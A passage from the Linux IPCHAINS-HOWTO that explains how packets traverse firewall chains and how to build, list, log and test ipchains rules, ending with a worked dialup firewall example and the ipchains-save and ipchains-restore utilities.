    e     n    |Chain |    m    {Decision}   |_______| --->|Chain  |
    c     i    |______|    a     ~~~~~~~~        |     | ->|_______|
    k     t       |        s       |             |     | |     |
    s     y       |        q       |             v     | |     |
    u     |       v        e       v            DENY/  | |     v
    m     |     DENY/      r   Local Process   REJECT  | |   DENY/
    |     v    REJECT      a       |                   | |  REJECT
    |   DENY               d       --------------------- |
    v                      e -----------------------------
   DENY
Here is a blow-by-blow description of each stage:

Checksum:

This is a test that the packet hasn't been corrupted in some way. If it has, it is denied.

Sanity:

There is actually one of these sanity checks before each firewall chain, but the input chain's is the most important. Some malformed packets might confuse the rule-checking code, and these are denied here (a message is printed to the syslog if this happens).

input chain:

This is the first firewall chain against which the packet will be tested. If the verdict of the chain is not DENY or REJECT, the packet continues on.

Demasquerade:

If the packet is a reply to a previously masqueraded packet, it is demasqueraded, and skips straight to the output chain. If you don't use IP Masquerading, you can mentally erase this from the diagram.

Routing decision:

The destination field is examined by the routing code, to decide if this packet should go to a local process (see Local process below) or forwarded to a remote machine (see forward chain below).

Local process:

A process running on the machine can receive packets after the Routing Decision step, and can send packets (which go through the Routing Decision step, then traverse the output chain).

lo interface:

If packets from a local process are destined for a local process, they will go through the output chain with interface set to `lo', then return through the input chain with interface also `lo'. The lo interface is usually called the loopback interface.

local:

If the packet was not created by a local process, then the forward chain is checked, otherwise the packet goes to the output chain.

forward chain:

This chain is traversed for any packets which are attempting to pass through this machine to another.

output chain:

This chain is traversed for all packets just before they are sent out.

Using ipchains

First, check that you have the version of ipchains that this document refers to:

$ ipchains --version
ipchains 1.3.9, 17-Mar-1999

Note that I recommend 1.3.4 (which has no long options, like `--sport'), or 1.3.8 or above; these are very stable.

ipchains has a fairly detailed manual page (man ipchains), and if you need more detail on particulars, you can check out the programming interface (man 4 ipfw), or the file net/ipv4/ip_fw.c in the 2.1.x kernel source, which is (obviously) authoritative.

There is also an excellent quick reference card by Scott Bronson in the source package, in both A4 and US Letter PostScript(TM).

There are several different things you can do with ipchains. First the operations to manage whole chains. You start with three built-in chains input, output and forward which you can't delete.

  1. Create a new chain (-N).
  2. Delete an empty chain (-X).
  3. Change the policy for a built-in chain. (-P).
  4. List the rules in a chain (-L).
  5. Flush the rules out of a chain (-F).
  6. Zero the packet and byte counters on all rules in a chain (-Z).

There are several ways to manipulate rules inside a chain:

  1. Append a new rule to a chain (-A).
  2. Insert a new rule at some position in a chain (-I).
  3. Replace a rule at some position in a chain (-R).
  4. Delete a rule at some position in a chain (-D).
  5. Delete the first rule that matches in a chain (-D).

There are a few operations for masquerading, which are in ipchains for want of a good place to put them:

  1. List the currently masqueraded connections (-M -L).
  2. Set masquerading timeout values (-M -S). (But see I can't set masquerading timeouts!).

The final (and perhaps the most useful) function allows you to check what would happen to a given packet if it were to traverse a given chain.

What You'll See When Your Computer Starts Up

Before any ipchains commands have been run (be careful: some distributions run ipchains in their initialization scripts), there will be no rules in any of the built-in chains (`input', `forward' and `output'), and each of the chains will have a policy of ACCEPT. This is as wide-open as you can get.

Operations on a Single Rule

This is the bread-and-butter of ipchains; manipulating rules. Most commonly, you will probably use the append (-A) and delete (-D) commands. The others (-I for insert and -R for replace) are simple extensions of these concepts.

Each rule specifies a set of conditions the packet must meet, and what to do if it meets them (a `target'). For example, you might want to deny all ICMP packets coming from the IP address 127.0.0.1. So in this case our conditions are that the protocol must be ICMP and that the source address must be 127.0.0.1. Our target is `DENY'.

127.0.0.1 is the `loopback' interface, which you will have even if you have no real network connection. You can use the `ping' program to generate such packets (it simply sends an ICMP type 8 (echo request) which all cooperative hosts should obligingly respond to with an ICMP type 0 (echo reply) packet). This makes it useful for testing.

# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
# ipchains -A input -s 127.0.0.1 -p icmp -j DENY
# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
#

You can see here that the first ping succeeds (the `-c 1' tells ping to only send a single packet).

Then we append (-A) to the `input' chain, a rule specifying that for packets from 127.0.0.1 (`-s 127.0.0.1') with protocol ICMP (`-p ICMP') we should jump to DENY (`-j DENY').

Then we test our rule, using the second ping. There will be a pause before the program gives up waiting for a response that will never come.

We can delete the rule in one of two ways. Firstly, since we know that it is the only rule in the input chain, we can use a numbered delete, as in:

        # ipchains -D input 1
        #
To delete rule number 1 in the input chain.

The second way is to mirror the -A command, but replacing the -A with -D. This is useful when you have a complex chain of rules and you don't want to have to count them to figure out that it's rule 37 that you want to get rid of. In this case, we would use:

        # ipchains -D input -s 127.0.0.1 -p icmp -j DENY
        #
The syntax of -D must have exactly the same options as the -A (or -I or -R) command. If there are multiple identical rules in the same chain, only the first will be deleted.

Filtering Specifications

We have seen the use of `-p' to specify protocol, and `-s' to specify source address, but there are other options we can use to specify packet characteristics. What follows is an exhaustive compendium.

Specifying Source and Destination IP Addresses

Source (-s) and destination (-d) IP addresses can be specified in four ways. The most common way is to use the full name, such as `localhost' or `www.linuxhq.com'. The second way is to specify the IP address such as `127.0.0.1'.

The third and fourth ways allow specification of a group of IP addresses, such as `199.95.207.0/24' or `199.95.207.0/255.255.255.0'. These both specify any IP address from 199.95.207.0 to 199.95.207.255 inclusive; the digits after the `/' tell which parts of the IP address are significant. `/32' or `/255.255.255.255' is the default (match all of the IP address). To specify any IP address at all `/0' can be used, like so:

        # ipchains -A input -s 0/0 -j DENY
        #

This is rarely used, as the effect above is the same as not specifying the `-s' option at all.

Specifying Inversion

Many flags, including the `-s' and `-d' flags can have their arguments preceded by `!' (pronounced `not') to match addresses NOT equal to the ones given. For example. `-s ! localhost' matches any packet not coming from localhost.

Don't forget the spaces around the `!': they really are needed.

Specifying Protocol

The protocol can be specified with the `-p' flag. Protocol can be a number (if you know the numeric protocol values for IP) or a name for the special cases of `TCP', `UDP' or `ICMP'. Case doesn't matter, so `tcp' works as well as `TCP'.

The protocol name can be prefixed by a `!', to invert it, such as `-p ! TCP'.

Specifying UDP and TCP Ports

For the special case where a protocol of TCP or UDP is specified, there can be an extra argument indicating the TCP or UDP port, or an (inclusive) range of ports (but see Handling Fragments below). A range is represented using a `:' character, such as `6000:6010', which covers 11 port numbers, from 6000 to 6010 inclusive. If the lower bound is omitted, it defaults to 0. If the upper bound is omitted, it defaults to 65535. So to specify TCP connections coming from ports under 1024, the syntax would be as `-p TCP -s 0.0.0.0/0 :1023'. Port numbers can be specified by name, eg. `www'.

Note that the port specification can be preceded by a `!', which inverts it. So to specify every TCP packet BUT a WWW packet, you would specify

-p TCP -d 0.0.0.0/0 ! www

It is important to realize that the specification

-p TCP -d ! 192.168.1.1 www

is very different from

-p TCP -d 192.168.1.1 ! www

The first specifies any TCP packet to the WWW port on any machine but 192.168.1.1. The second specifies any TCP connection to any port on 192.168.1.1 but the WWW port.

Finally, this case means not the WWW port and not 192.168.1.1:

-p TCP -d ! 192.168.1.1 ! www

Specifying ICMP Type and Code

ICMP also allows an optional argument, but as ICMP doesn't have ports, (ICMP has a type and a code) they have a different meaning.

You can specify them as ICMP names (use ipchains -h icmp to list the names) after the `-s' option, or as a numeric ICMP type and code, where the type follows the `-s' option and the code follows the `-d' option.

The ICMP names are fairly long: you only need use enough letters to make the name distinct from any other.

Here is a small table of some of the most common ICMP packets:

Number  Name                     Required by

0       echo-reply               ping
3       destination-unreachable  Any TCP/UDP traffic.
5       redirect                 routing if not running routing daemon
8       echo-request             ping
11      time-exceeded            traceroute

Note that the ICMP names cannot be preceeded by `!' at the moment.

DO NOT DO NOT DO NOT block all ICMP type 3 messages! (See ICMP Packets below).

Specifying an Interface

The `-i' option specifies the name of an interface to match. An interface is the physical device the packet came in on, or is going out on. You can use the ifconfig command to list the interfaces which are `up' (ie. working at the moment).

The interface for incoming packets (ie. packets traversing the input chain) is considered to be the interface they came in on. Logically, the interface for outgoing packets (packets traversing the output chain) is the interface they will go out on. The interface for packets traversing the forward chain is also the interface they will go out on; a fairly arbitrary decision it seems to me.

It is perfectly legal to specify an interface that currently does not exist; the rule will not match anything until the interface comes up. This is extremely useful for dial-up PPP links (usually interface ppp0) and the like.

As a special case, an interface name ending with a `+' will match all interfaces (whether they currently exist or not) which begin with that string. For example, to specify a rule which matches all PPP interfaces, the -i ppp+ option would be used.

The interface name can be preceded by a `!' to match a packet which does NOT match the specified interface(s).

Specifying TCP SYN Packets Only

It is sometimes useful to allow TCP connections in one direction, but not the other. For example, you might want to allow connections to an external WWW server, but not connections from that server.

The naive approach would be to block TCP packets coming from the server. Unfortunately, TCP connections require packets going in both directions to work at all.

The solution is to block only the packets used to request a connection. These packets are called SYN packets (ok, technically they're packets with the SYN flag set, and the FIN and ACK flags cleared, but we call them SYN packets). By disallowing only these packets, we can stop attempted connections in their tracks.

The `-y' flag is used for this: it is only valid for rules which specify TCP as their protocol. For example, to specify TCP connection attempts from 192.168.1.1:

-p TCP -s 192.168.1.1 -y

Once again, this flag can be inverted by preceding it with a `!', which means every packet other than the connection initiation.

Handling Fragments

Sometimes a packet is too large to fit down a wire all at once. When this happens, the packet is divided into fragments, and sent as multiple packets. The other end reassembles the fragments to reconstruct the whole packet.

The problem with fragments is that some of the specifications listed above (in particular, source port, destinations port, ICMP type, ICMP code, or TCP SYN flag) require the kernel to peek at the start of the packet, which is only contained in the first fragment.

If your machine is the only connection to an external network, then you can tell the Linux kernel to reassemble all fragments which pass through it, by compiling the kernel with IP: always defragment set to `Y'. This sidesteps the issue neatly.

Otherwise, it is important to understand how fragments get treated by the filtering rules. Any filtering rule that asks for information we don't have will not match. This means that the first fragment is treated like any other packet. Second and further fragments won't be. Thus a rule -p TCP -s 192.168.1.1 www (specifying a source port of `www') will never match a fragment (other than the first fragment). Neither will the opposite rule -p TCP -s 192.168.1.1 ! www.

However, you can specify a rule specifically for second and further fragments, using the `-f' flag. Obviously, it is illegal to specify a TCP or UDP port, ICMP type, ICMP code or TCP SYN flag in such a fragment rule.

It is also legal to specify that a rule does not apply to second and further fragments, by preceding the `-f' with `!'.

Usually it is regarded as safe to let second and further fragments through, since filtering will effect the first fragment, and thus prevent reassembly on the target host, however, bugs have been known to allow crashing of machines simply by sending fragments. Your call.

Note for network-heads: malformed packets (TCP, UDP and ICMP packets too short for the firewalling code to read the ports or ICMP code and type) are treated as fragments as well. Only TCP fragments starting at position 8 are explicitly dropped by the firewall code (a message should appear in the syslog if this occurs).

As an example, the following rule will drop any fragments going to 192.168.1.1:

# ipchains -A output -f -d 192.168.1.1 -j DENY
#

Filtering Side Effects

OK, so now we know all the ways we can match a packet using a rule. If a packet matches a rule, the following things happen:

  1. The byte counter for that rule is increased by the size of the packet (header and all).
  2. The packet counter for that rule is incremented.
  3. If the rule requests it, the packet is logged.
  4. If the rule requests it, the packet's Type Of Service field is changed.
  5. If the rule requests it, the packet is marked (not in 2.0 kernel series).
  6. The rule target is examined to decide what to do to the packet next.

For variety, I'll address these in order of importance.

Specifying a Target

A target tells the kernel what to do with a packet that matches a rule. ipchains uses `-j' (think `jump-to') for the target specification. The target name must be less than 8 letters, and case matters: "RETURN" and "return" are completely different.

The simplest case is when there is no target specified. This type of rule (often called an `accounting' rule) is useful for simply counting a certain type of packet. Whether this rule matches or not, the kernel simply examines the next rule in the chain. For example, to count the number of packets from 192.168.1.1, we could do this:

# ipchains -A input -s 192.168.1.1
#

(Using `ipchains -L -v' we can see the byte and packet counters associated with each rule).

There are six special targets. The first three, ACCEPT, REJECT and DENY are fairly simple. ACCEPT allows the packet through. DENY drops the packet as if it had never been received. REJECT drops the packet, but (if it's not an ICMP packet) generates an ICMP reply to the source to tell it that the destination was unreachable.

The next one, MASQ tells the kernel to masquerade the packet. For this to work, your kernel needs to be compiled with IP Masquerading enabled. For details on this, see the Masquerading-HOWTO and the Appendix Differences between ipchains and ipfwadm. This target is only valid for packets traversing the forward chain.

The other major special target is REDIRECT which tells the kernel to send a packet to a local port instead of wherever it was heading. This can only be specified for rules specifying TCP or UDP as their protocol. Optionally, a port (name or number) can be specified following `-j REDIRECT' which will cause the packet to be redirected to that particular port, even if it was addressed to another port. This target is only valid for packets traversing the input chain.

The final special target is RETURN which is identical to falling off the end of the chain immediately. (See Setting Policy below).

Any other target indicates a user-defined chain (as described in Operations on an Entire Chain below). The packet will begin traversing the rules in that chain. If that chain doesn't decide the fate of the packet, then once traversal on that chain has finished, traversal resumes on the next rule in the current chain.

Time for more ASCII art. Consider two (silly) chains: input (the built-in chain) and Test (a user-defined chain).

         `input'                         `Test'
        ----------------------------    ----------------------------
        | Rule1: -p ICMP -j REJECT |    | Rule1: -s 192.168.1.1    |
        |--------------------------|    |--------------------------|
        | Rule2: -p TCP -j Test    |    | Rule2: -d 192.168.1.1    |
        |--------------------------|    ----------------------------
        | Rule3: -p UDP -j DENY    |
        ----------------------------

Consider a TCP packet coming from 192.168.1.1, going to 1.2.3.4. It enters the input chain, and gets tested against Rule1 - no match. Rule2 matches, and its target is Test, so the next rule examined is the start of Test. Rule1 in Test matches, but doesn't specify a target, so the next rule is examined, Rule2. This doesn't match, so we have reached the end of the chain. We return to the input chain, where we had just examined Rule2, so we now examine Rule3, which doesn't match either.

So the packet path is:

                                v    __________________________
         `input'                |   /    `Test'                v
        ------------------------|--/    -----------------------|----
        | Rule1                 | /|    | Rule1                |   |
        |-----------------------|/-|    |----------------------|---|
        | Rule2                 /  |    | Rule2                |   |
        |--------------------------|    -----------------------v----
        | Rule3                 /--+___________________________/
        ------------------------|---
                                v

See the section How to Organise Your Firewall Rules for ways to use user-defined chains effectively.

Logging Packets

This is a side effect that matching a rule can have; you can have the matching packet logged using the `-l' flag. You will usually not want this for routine packets, but it is a useful feature if you want to look for exceptional events.

The kernel logs this information looking like:

Packet log: input DENY eth0 PROTO=17 192.168.2.1:53 192.168.1.1:1025
  L=34 S=0x00 I=18 F=0x0000 T=254

This log message is designed to be terse, and contain technical information useful only to networking gurus, but it can be useful to the rest of us. It breaks down like so:

  1. `input' is the chain which contained the rule which matched the packet, causing the log message.
  2. `DENY' is what the rule said to do to the packet. If this is `-' then the rule didn't effect the packet at all (an accounting rule).
  3. `eth0' is the interface name. Because this was the input chain, it means that the packet came in `eth0'.
  4. `PROTO=17' means that the packet was protocol 17. A list of protocol numbers is given in `/etc/protocols'. The most common are 1 (ICMP), 6 (TCP) and 17 (UDP).
  5. `192.168.2.1' means that the packet's source IP address was 192.168.2.1.
  6. `:53' means that the source port was port 53. Looking in `/etc/services' shows that this is the `domain' port (ie. this is probably an DNS reply). For UDP and TCP, this number is the source port. For ICMP, it's the ICMP type. For others, it will be 65535.
  7. `192.168.1.1' is the destination IP address.
  8. `:1025' means that the destination port was 1025. For UDP and TCP, this number is the destination port. For ICMP, it's the ICMP code. For others, it will be 65535.
  9. `L=34' means that packet was a total of 34 bytes long.
  10. `S=0x00' means the Type of Service field (divide by 4 to get the Type of Service as used by ipchains).
  11. `I=18' is the IP ID.
  12. `F=0x0000' is the 16-bit fragment offset plus flags. A value starting with `0x4' or `0x5' means that the Don't Fragment bit is set. `0x2' or `0x3' means the `More Fragments' bit is set; expect more fragments after this. The rest of the number is the offset of this fragment, divided by 8.
  13. `T=254' is the Time To Live of the packet. One is subtracted from this value for every hop, and it usually starts at 15 or 255.
  14. `(#5)' there may be a final number in brackets on more recent kernels (perhaps after 2.2.9). This is the rule number which caused the packet log.

On standard Linux systems, this kernel output is captured by klogd (the kernel logging daemon) which hands it to syslogd (the system logging daemon). The `/etc/syslog.conf' controls the behaviour of syslogd, by specifying a destination for each `facility' (in our case, the facility is "kernel") and `level' (for ipchains, the level used is "info").

For example, my (Debian) /etc/syslog.conf contains two lines which match `kern.info':

kern.*                          -/var/log/kern.log
*.=info;*.=notice;*.=warn;\
        auth,authpriv.none;\
        cron,daemon.none;\
        mail,news.none          -/var/log/messages

These mean that the messags are duplicated in `/var/log/kern.log' and `/var/log/messages'. For more details, see `man syslog.conf'.

Manipulating the Type Of Service

There are four seldom-used bits in the IP header, called the Type of Service (TOS) bits. They effect the way packets are treated; the four bits are "Minimum Delay", "Maximum Throughput", "Maximum Reliability" and "Minimum Cost". Only one of these bits is allowed to be set. Rob van Nieuwkerk, the author of the TOS-mangling code, puts it as follows:

Especially the "Minimum Delay" is important for me. I switch it on for "interactive" packets in my upstream (Linux) router. I'm behind a 33k6 modem link. Linux prioritizes packets in 3 queues. This way I get acceptable interactive performance while doing bulk downloads at the same time. (It could even be better if there wasn't such a big queue in the serial driver, but latency is kept down 1.5 seconds now).

Note: obviously, you have no control over incoming packets; you can only control the priority of packets leaving your box. To negotiate priorities with the other end, a protocol like RSVP (which I know nothing about, so don't ask me) must be used.

The most common use is to set telnet & ftp control connections to "Minimum Delay" and FTP data to "Maximum Throughput". This would be done as follows:

ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10
ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08

The `-t' flag takes two extra parameters, both in hexadecimal. These allow complex twiddling of the TOS bits: the first mask is ANDed with the packet's current TOS, and then the second mask is XORed with it. If this is too confusing, just use the following table:

TOS Name                Value           Typical Uses

Minimum Delay           0x01 0x10       ftp, telnet
Maximum Throughput      0x01 0x08       ftp-data
Maximum Reliability     0x01 0x04       snmp
Minimum Cost            0x01 0x02       nntp

Andi Kleen goes on to point out the following (mildly edited for posterity):

Maybe it would be useful to add an reference to the txqueuelen parameter of ifconfig to the discussion of TOS bits. The default device queue length is tuned for ethernet cards, on modems it is too long and makes the 3 band scheduler (which queues based on TOS) work suboptimally. It is a good idea to set it to a value between 4-10 on modem or single b channel ISDN links: on bundled devices a longer queue is needed. This is a 2.0 and 2.1 problem, but in 2.1 it is a ifconfig flag (with recent nettools), while in 2.0 it requires source patches in the device drivers to change.

So, to see maximal benifits of TOS manipulation for modem PPP links, do `ifconfig $1 txqueuelen' in your /etc/ppp/ip-up script. The number to use depends on the modem speed and the amount of buffering in the modem; here's Andi setting me straight again:

The best value for a given configuration needs experiment. If the queues are too short on a router then packets will get dropped. Also of course one gets benefits even without TOS rewriting, just that TOS rewriting helps to give the benefits to non cooperating programs (but all standard linux programs are cooperating).

Marking a Packet

This allows complex and powerful interactions with Alexey Kuznetsov's new Quality of Service implementation, as well as the mark-based forwarding in later 2.1 series kernels. More news as it comes to hand. This option is ignored altogether in the 2.0 kernel series.

Operations on an Entire Chain

A very useful feature of ipchains is the ability to group related rules into chains. You can call the chains whatever you want, as long as the names don't clash with the built-in chains (input, output and forward) or the targets (MASQ, REDIRECT, ACCEPT, DENY, REJECT or RETURN). I suggest avoiding upper-case labels entirely, since I may use these for future extensions. The chain name can be up to 8 characters long.

Creating a New Chain

Let's create a new chain. Because I am such an imaginative fellow, I'll call it test.

# ipchains -N test
#

It's that simple. Now you can put rules in it as detailed above.

Deleting a Chain

Deleting a chain is simple as well.

# ipchains -X test
#

Why `-X'? Well, all the good letters were taken.

There are a couple of restrictions to deleting chains: they must be empty (see Flushing a Chain below) and they must not be the target of any rule. You can't delete any of the three built-in chains.

Flushing a Chain

There is a simple way of emptying all rules out of a chain, using the `-F' command.

        # ipchains -F forward
        #

If you don't specify a chain, then all chains will be flushed.

Listing a Chain

You can list all the rules in a chain by using the `-L' command.

# ipchains -L input
Chain input (refcnt = 1): (policy ACCEPT)
target     prot opt    source                destination           ports
ACCEPT     icmp -----  anywhere              anywhere              any
# ipchains -L test
Chain test (refcnt = 0):
target     prot opt    source                destination           ports
DENY       icmp -----  localnet/24           anywhere              any
#

The `refcnt' listed for test is the number of rules which have test as their target. This must be zero (and the chain be empty) before this chain can be deleted.

If the chain name is omitted, all chains are listed, even empty ones.

There are three options which can accompany `-L'. The `-n' (numeric) option is very useful as it prevents ipchains from trying to lookup the IP addresses, which (if you are using DNS like most people) will cause large delays if your DNS is not set up properly, or you have filtered out DNS requests. It also causes ports to be printed out as numbers rather than names.

The `-v' options shows you all the details of the rules, such as the the packet and byte counters, the TOS masks, the interface, and the packet mark. Otherwise these values are omitted. For example:

# ipchains -v -L input
Chain input (refcnt = 1): (policy ACCEPT)
 pkts bytes target     prot opt   tosa tosx  ifname    mark        source                destination           ports
   10   840 ACCEPT     icmp ----- 0xFF 0x00  lo                    anywhere              anywhere              any

Note that the packet and byte counters are printed out using the suffixes `K', `M' or `G' for 1000, 1,000,000 and 1,000,000,000 respectively. Using the `-x' (expand numbers) flag as well prints the full numbers, no matter how large they are.

Resetting (Zeroing) Counters

It is useful to be able to reset the counters. This can be done with the `-Z' (zero counters) option. For example:

# ipchains -v -L input
Chain input (refcnt = 1): (policy ACCEPT)
 pkts bytes target     prot opt   tosa tosx  ifname    mark        source                destination           ports
   10   840 ACCEPT     icmp ----- 0xFF 0x00  lo                    anywhere              anywhere              any
# ipchains -Z input
# ipchains -v -L input
Chain input (refcnt = 1): (policy ACCEPT)
 pkts bytes target     prot opt   tosa tosx  ifname    mark        source                destination           ports
    0     0 ACCEPT     icmp ----- 0xFF 0x00  lo                    anywhere              anywhere              any
#

The problem with this approach is that sometimes you need to know the counter values immediately before they are reset. In the above example, some packets could pass through between the `-L' and `-Z' commands. For this reason, you can use the `-L' and `-Z' together, to reset the counters while reading them. Unfortunately, if you do this, you can't operate on a single chain: you have to list and zero all the chains at once.

# ipchains -L -v -Z
Chain input (policy ACCEPT):
 pkts bytes target     prot opt   tosa tosx  ifname    mark        source                destination           ports
   10   840 ACCEPT     icmp ----- 0xFF 0x00  lo                    anywhere              anywhere              any

Chain forward (refcnt = 1): (policy ACCEPT)
Chain output (refcnt = 1): (policy ACCEPT)
Chain test (refcnt = 0):
    0     0 DENY       icmp ----- 0xFF 0x00  ppp0                  localnet/24           anywhere              any
# ipchains -L -v
Chain input (policy ACCEPT):
 pkts bytes target     prot opt   tosa tosx  ifname    mark        source                destination           ports
   10   840 ACCEPT     icmp ----- 0xFF 0x00  lo                    anywhere              anywhere              any

Chain forward (refcnt = 1): (policy ACCEPT)
Chain output (refcnt = 1): (policy ACCEPT)
Chain test (refcnt = 0):
    0     0 DENY       icmp ----- 0xFF 0x00  ppp0                  localnet/24           anywhere              any
#

Setting Policy

We glossed over what happens when a packet hits the end of a built-in chain when we discussed how a packet walks through chains in Specifying a Target above. In this case, the policy of the chain determines the fate of the packet. Only built-in chains (input, output and forward) have policies, because if a packet falls off the end of a user-defined chain, traversal resumes at the previous chain.

The policy can be any of the first four special targets: ACCEPT, DENY, REJECT or MASQ. MASQ is only valid for the `forward' chain.

It is also important to note that a RETURN target in a rule in one of the built-in chains is useful to explicitly target the chain policy when a packet matches a rule.

Operations on Masquerading

There are several parameters you can tweak for IP Masquerading. They are bundled with ipchains because it's not worth writing a separate tool for them (although this will change).

The IP Masquerading command is `-M', and it can be combined with `-L' to list currently masqueraded connections, or `-S' to set the masquerading parameters.

The `-L' command can be accompanied by `-n' (show numbers instead of hostnames and port names) or `-v' (show deltas in sequence numbers for masqueraded connection, just in case you care).

The `-S' command should be followed by three timeout values, each in seconds: for TCP sessions, for TCP sessions after a FIN packet, and for UDP packets. If you don't want to change one of these values, simply give a value of `0'.

The default values are listed in `/usr/src/linux/include/net/ip_masq.h', currently 15 minutes, 2 minutes and 5 minutes respectively.

The most common value to change is the first one, for FTP (see FTP Nightmares below).

Note the problems with setting timeouts listed in I can't set masquerading timeouts!.

Checking a Packet

Sometimes you want to see what happens when a certain packet enters your machine, such as for debugging your firewall chains. ipchains has the `-C' command to allow this, using the exact same routines that the kernel uses to diagnose real packets.

You specify which chain to test the packet on by following the `-C' argument with its name. Whereas the kernel always starts traversing on the input, output or forward chains, you are allowed to begin traversing on any chain for testing purposes.

The details of the `packet' are specified using the same syntax used to specify firewall rules. In particular, a protocol (`-p'), source address (`-s'), destination address (`-d') and interface (`-i') are compulsory. If the protocol is TCP or UDP, then a single source and a single destination port must be specified, and a ICMP type and code must be specified for the ICMP protocol (unless the `-f' flag is specified to indicate a fragment rule, in which case these options are illegal).

If the protocol is TCP (and the `-f' flag is not specified), the `-y' flag may be specified, to indicate that the test packet should have the SYN bit set.

Here is an example of testing a TCP SYN packet from 192.168.1.1 port 60000 to 192.168.1.2 port www, coming in the eth0 interface, entering the `input' chain. (This is a classic incoming WWW connection initiation):

# ipchains -C input -p tcp -y -i eth0 -s 192.168.1.1 60000 -d 192.168.1.2 www
packet accepted
#

Multiple Rules at Once and Watching What Happens

Sometimes a single command line can result in multiple rules being effected. This is done in two ways. Firstly, if you specify a hostname which resolves (using DNS) to multiple IP addresses, ipchains will act as if you had typed multiple commands with each combination of addresses.

So if the hostname `www.foo.com' resolves to three IP addresses, and the hostname `www.bar.com' resolves to two IP addresses, then the command `ipchains -A input -j reject -s www.bar.com -d www.foo.com' would append six rules to the input chain.

The other way to have ipchains perform multiple actions is to use the bidirectional flag (`-b'). This flag makes ipchains behave as if you had typed the command twice, the second time with the `-s' and `-d' arguments reversed. So, to avoid forwarding either to or from 192.168.1.1, you could do the following:

# ipchains -b -A forward -j reject -s 192.168.1.1
#

Personally, I don't like the `-b' option much; if you want convenience, see Using ipchains-save below.

The -b option can be used with the insert (`-I'), delete (`-D') (but not the variation which takes a rule number), append (`-A') and check (`-C') commands.

Another useful flag is `-v' (verbose) which prints out exactly what ipchains is doing with your commands. This is useful if you are dealing with commands that may effect multiple rules. For example, here we check the behaviour of fragments between 192.168.1.1 and 192.168.1.2.

# ipchains -v -b -C input -p tcp -f -s 192.168.1.1 -d 192.168.1.2 -i lo
  tcp opt   ---f- tos 0xFF 0x00  via lo    192.168.1.1  -> 192.168.1.2    * ->   *
packet accepted
  tcp opt   ---f- tos 0xFF 0x00  via lo    192.168.1.2  -> 192.168.1.1    * ->   *
packet accepted
#

4.2 Useful Examples

I have a dialup PPP connection (-i ppp0). I grab news (-p TCP -s news.virtual.net.au nntp) and mail (-p TCP -s mail.virtual.net.au pop-3) every time I dial up. I use Debian's FTP method to update my machine regularly (-p TCP -y -s ftp.debian.org.au ftp-data). I surf the web through my ISP's proxy while this is going on (-p TCP -d proxy.virtual.net.au 8080), but hate the ads from doubleclick.net on the Dilbert Archive (-p TCP -y -d 199.95.207.0/24 and -p TCP -y -d 199.95.208.0/24).

I don't mind people trying to ftp to my machine while I'm online (-p TCP -d $LOCALIP ftp), but don't want anyone outside pretending to have an IP address of my internal network (-s 192.168.1.0/24). This is commonly called IP spoofing, and there is a better way to protect yourself from it in the 2.1.x kernels and above: see How do I set up IP spoof protection?.

This setup is fairly simple, because there are currently no other boxes on my internal network.

I don't want any local process (ie. Netscape, lynx etc.) to connect to doubleclick.net:

# ipchains -A output -d 199.95.207.0/24 -j REJECT
# ipchains -A output -d 199.95.208.0/24 -j REJECT
#

Now I want to set priorities on various outgoing packets (there isn't much point in doing it on incoming packets). Since I have a fair number of these rules, it makes sense to put them all in a single chain, called ppp-out.

# ipchains -N ppp-out
# ipchains -A output -i ppp0 -j ppp-out
#

Minimum delay for web traffic & telnet.

# ipchains -A ppp-out -p TCP -d proxy.virtual.net.au 8080 -t 0x01 0x10
# ipchains -A ppp-out -p TCP -d 0.0.0.0/0 telnet -t 0x01 0x10
#

Low cost for ftp data, nntp, pop-3:

# ipchains -A ppp-out -p TCP -d 0.0.0.0/0 ftp-data -t 0x01 0x02
# ipchains -A ppp-out -p TCP -d 0.0.0.0/0 nntp -t 0x01 0x02
# ipchains -A ppp-out -p TCP -d 0.0.0.0/0 pop-3 -t 0x01 0x02
#

There are a few restrictions on packets coming in the ppp0 interface: let's create a chain called `ppp-in':

# ipchains -N ppp-in
# ipchains -A input -i ppp0 -j ppp-in
#

Now, no packets coming in ppp0 should be claiming a source address of 192.168.1.*, so we log and deny them:

# ipchains -A ppp-in -s 192.168.1.0/24 -l -j DENY
#

I allow UDP packets in for DNS (I run a caching nameserver which forwards all requests to 203.29.16.1, so I expect DNS replies from them only), incoming ftp, and return ftp-data only (which should only be going to a port above 1023, and not the X11 ports around 6000).

# ipchains -A ppp-in -p UDP -s 203.29.16.1 -d $LOCALIP dns -j ACCEPT
# ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $LOCALIP 1024:5999 -j ACCEPT
# ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $LOCALIP 6010: -j ACCEPT
# ipchains -A ppp-in -p TCP -d $LOCALIP ftp -j ACCEPT
#

I allow TCP reply packets back in

# ipchains -A ppp-in -p TCP ! -y -j ACCEPT
#

Finally, local-to-local packets are OK:

# ipchains -A input -i lo -j ACCEPT
#

Now, my default policy on the input chain is DENY, so everything else gets dropped:

# ipchains -P input DENY
#

NOTE: I wouldn't set up my chains in this order, as packets might get through while I'm setting up. Safest is usually to set the policy to DENY first, then insert the rules. Of course, if your rules require DNS lookups to resolve hostnames, you could be in trouble.

Using ipchains-save

Setting up firewall chains just the way you want them, and then trying to remember the commands you used so you can do them next time is a pain.

So, ipchains-save is a script which reads your current chains setup and saves it to a file. For the moment I'll keep you in suspense with regards to what ipchains-restore does.

ipchains-save can save a single chain, or all chains (if no chain name is specified). The only option currently permitted is `-v' which prints the rules (to stderr) as they are saved. The policy of the chain is also saved for input, output and forward chains.

# ipchains-save > my_firewall
Saving `input'.
Saving `output'.
Saving `forward'.
Saving `ppp-in'.
Saving `ppp-out'.
#

Using ipchains-restore

ipchains-restore restores chains as saved with ipchains-save. It can take two options: `-v' which describes each rule as it is added, and `-f' which forces flushing of user-defined chains if they exist, as described below.

